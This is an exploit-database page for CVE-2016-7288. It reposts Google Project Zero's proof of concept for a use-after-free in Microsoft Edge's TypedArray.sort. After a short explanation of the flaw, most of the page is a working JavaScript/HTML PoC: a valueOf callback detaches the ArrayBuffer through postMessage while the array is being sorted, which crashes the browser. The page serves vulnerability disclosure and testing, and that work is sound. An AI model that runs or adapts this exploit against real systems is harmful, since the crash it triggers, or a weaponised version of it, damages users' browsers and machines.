Materialized exploit

CVE-2016-7288

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145)

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.
-->

<html>
<body>
<script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
  alert("in v");
  if( first == 0){
	   postMessage("test", "http://127.0.0.1", [buf])
	first++;
	}
   return 7;

}

function compareNumbers(a, b) {
  alert("in func");

  return {valueOf : v};
}

try{
	numbers.sort(compareNumbers);
}catch(e){

	alert(e.message);

}
</script>
</body>
</html>